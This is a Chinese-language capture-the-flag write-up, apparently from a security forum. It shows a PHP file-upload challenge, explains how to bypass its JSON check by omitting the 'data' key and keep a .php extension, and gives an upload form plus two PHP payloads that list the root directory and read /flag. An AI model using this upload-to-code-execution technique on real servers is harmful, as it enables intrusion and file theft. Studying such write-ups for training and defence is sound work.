首先打开 http://47.102.223.17:2333/ ,发现给出了源代码。
<?php if (isset($_FILES["file"]["tmp_name"])) { $file = fopen($_FILES["file"]["tmp_name"], "r"); $data = fread($file, filesize($_FILES["file"]["tmp_name"])); $arr = json_decode($data, true, 2); if (json_last_error() != JSON_ERROR_NONE) { die("JsonErr"); } if (count($arr) != 1) { die("DataErr"); } $data = $arr['data']; $len = strlen($data); if ($len > 56) { die("Long"); } if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) { die("no"); } $name = mt_rand(); $ext = strrchr($_FILES['file']['name'], '.'); $ext = trim($ext); move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext); echo "upload/" . $name . $ext; } else { highlight_file(__FILE__); } ?>
这段程序首先读取浏览器上传的文件,这个文件必须是有效的JSON文件,并且对象长度必须是1。接下来校验$arr['data']
的长度必须小于等于56,且不能含有一系列特殊符号。针对这个检查,只要让我们的JSON根本不包含data
这个key就直接绕过了。最后上传的文件被储存时保留了后缀,所以我们用.php
后缀,就能达到代码执行的目的。
本地用来上传文件的up.html:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Uploader</title> </head> <body> <form enctype="multipart/form-data" action="http://47.102.223.17:2333/" method="POST"> <input type="file" name="file"> <button type="submit">Send</button> </form> </body> </html>
根据提示flag在根目录,所以第一次上传的文件data.php:
{ "hello": "<?php echo implode(' ', glob('/*')); ?>" }
服务器返回:upload/1179490546.php。
访问这个php,得到根目录文件列表:
显然/flag
就是flag。第二次上传的文件r.php:
{ "hello": "<?php echo file_get_contents('/flag'); ?>" }
返回:upload/772416736.php
访问这个php,得到flag:
[培训]科锐逆向工程师培训班38期--远程教学预课班将于 2020年5月28日 正式开班!
最后于 1天前 被3352编辑 ,原因: